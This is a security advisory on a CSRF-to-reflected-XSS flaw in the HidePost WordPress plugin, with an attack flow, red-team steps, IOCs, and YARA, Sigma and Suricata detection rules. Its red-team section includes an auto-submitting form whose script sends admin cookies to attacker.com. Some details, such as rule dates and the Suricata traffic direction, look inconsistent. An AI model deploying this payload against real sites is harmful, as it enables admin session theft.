CVE-2025-53310

Executive Summary

CVE-2025-53310 is a Cross-Site Request Forgery (CSRF) vulnerability in the HidePost WordPress plugin (by vendor Funnnny), affecting versions from n/a through 2.3.8. The vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, specifically enabling Reflected Cross-Site Scripting (XSS). This means a crafted request can trick a logged-in admin into executing malicious JavaScript, leading to session hijacking, defacement, or data exfiltration. The CVSS score is 7.1 (High), with a low EPSS score (0.0%) indicating low active exploitation probability at this time. No official patch is available, and no public exploit code or Nuclei template has been released.

Supply Chain & Package Security

This vulnerability affects the HidePost WordPress plugin, which is distributed via the official WordPress plugin repository. As a WordPress ecosystem component, it is subject to supply chain risks if the plugin is not updated or if the vendor fails to release a patch. Users should monitor the plugin’s page for updates and consider removing the plugin if no patch is forthcoming.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The attack is executed over the network.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – The attacker does not need authentication.
• User Interaction (UI): Required – The victim (admin) must click a link or visit a malicious page.
• Scope (S): Changed – The CSRF can impact resources beyond the vulnerable component (e.g., WordPress admin panel).
• Confidentiality (C): Low – Limited data exposure via XSS.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): Low – Limited impact on service availability.

Threat Level: High due to the combination of CSRF and XSS, which can lead to full admin account compromise if exploited.

Deep Dive & Mechanics

The vulnerability resides in the HidePost WordPress plugin, which allows users to hide posts from certain roles or users. The CSRF flaw occurs because the plugin does not implement proper nonce verification or origin checks on certain administrative actions (e.g., saving settings, toggling visibility). An attacker can craft a malicious link or form that, when clicked by an authenticated admin, triggers a state-changing request (e.g., updating plugin options) that includes a reflected XSS payload.

Attack Flow:

1. Attacker identifies a vulnerable endpoint in HidePost (e.g., /wp-admin/options-general.php?page=hidepost&action=save).
2. Attacker crafts a URL or HTML form that includes a malicious JavaScript payload in a parameter (e.g., &option=<script>alert(1)</script>).
3. Attacker lures an authenticated WordPress admin to click the link or submit the form (e.g., via phishing email).
4. The admin’s browser sends the forged request, which the plugin processes without CSRF protection.
5. The reflected XSS payload executes in the admin’s session, allowing the attacker to steal cookies, create new admin accounts, or inject backdoors.

Root Cause: Missing CSRF nonce validation and insufficient input sanitization in the plugin’s admin interface.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin’s main admin handler file (e.g., hidepost-admin.php). A patched version would include:

Vulnerable Code (Conceptual):

// No nonce check
if ( isset($_POST['save_options']) ) {
    update_option('hidepost_settings', $_POST['hidepost_options']);
    // Reflected XSS in response
    echo '<div class="updated">Options saved: ' . $_POST['message'] . '</div>';
}

Patched Code (Conceptual):

if ( isset($_POST['save_options']) && wp_verify_nonce($_POST['_wpnonce'], 'hidepost_save') ) {
    $sanitized = sanitize_text_field($_POST['hidepost_options']);
    update_option('hidepost_settings', $sanitized);
    echo '<div class="updated">Options saved.</div>';
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A WordPress site with HidePost plugin version <= 2.3.8.
• An authenticated admin user (victim).

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., via source code review or fuzzing).
2. Craft a CSRF + XSS payload:

   <html>
   <body>
   <form action="http://target/wp-admin/options-general.php?page=hidepost" method="POST">
       <input type="hidden" name="action" value="save" />
       <input type="hidden" name="option" value='<script>new Image().src="http://attacker.com/steal?cookie="+document.cookie</script>' />
       <input type="submit" value="Click me" />
   </form>
   <script>document.forms[0].submit();</script>
   </body>
   </html>
   

3. Host the HTML file on an attacker-controlled server.
4. Send the link to the victim admin (e.g., via email or social engineering).
5. When the admin visits the page, the form auto-submits, executing the XSS payload.
6. The attacker receives the admin’s cookies or session tokens.

Note: No public exploit code is available; this is a conceptual example.

Blue Team (Defender)

Detection & Response:

• Monitor for unusual POST requests to /wp-admin/options-general.php?page=hidepost without a valid nonce.
• Look for reflected XSS patterns in HTTP responses (e.g., <script> tags in plugin settings pages).
• Use Web Application Firewall (WAF) rules to block requests containing JavaScript in plugin parameters.
• Educate admins to avoid clicking suspicious links and to use browser extensions that detect CSRF.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-admin/options-general.php?page=hidepost with parameters containing <script> or onerror attributes.
  • Outbound connections to attacker-controlled domains from the WordPress admin panel.
• File IOCs:
  • Modified plugin files (e.g., hidepost-admin.php) with injected malicious code.
  • New admin users created via the XSS payload.
• Log IOCs:
  • WordPress debug logs showing unexpected $_POST data in plugin settings.
  • Apache/Nginx access logs with unusual referrer headers or user agents.

Detection Engineering

YARA Rule

rule CVE_2025_53310_HidePost_CSRF_XSS {
    meta:
        description = "Detects malicious requests targeting HidePost plugin CSRF+XSS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53310"
    strings:
        $s1 = "hidepost" nocase
        $s2 = "options-general.php" nocase
        $s3 = "<script" nocase
        $s4 = "onerror=" nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: CVE-2025-53310 HidePost CSRF to XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests exploiting CSRF in HidePost plugin leading to reflected XSS
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'page=hidepost'
        cs-uri-query|contains|any:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate admin actions with non-malicious parameters
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-53310 HidePost CSRF XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/options-general.php"; http_uri; content:"page=hidepost"; http_uri; pcre:"/(<script|onerror=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the HidePost plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block requests containing XSS payloads in plugin parameters.
3. Enforce CSRF protection by adding nonce checks to all admin actions (if you have code access).

Long-Term Fix:

• The vendor (Funnnny) must release a patched version (>= 2.3.9) that includes:
  • Nonce verification for all admin POST requests.
  • Input sanitization and output encoding for reflected parameters.
• Users should update to the patched version as soon as it becomes available.

Workaround:

• Use a security plugin (e.g., Wordfence) to add CSRF tokens and XSS filtering.
• Restrict admin access to trusted IPs only.

Valters IT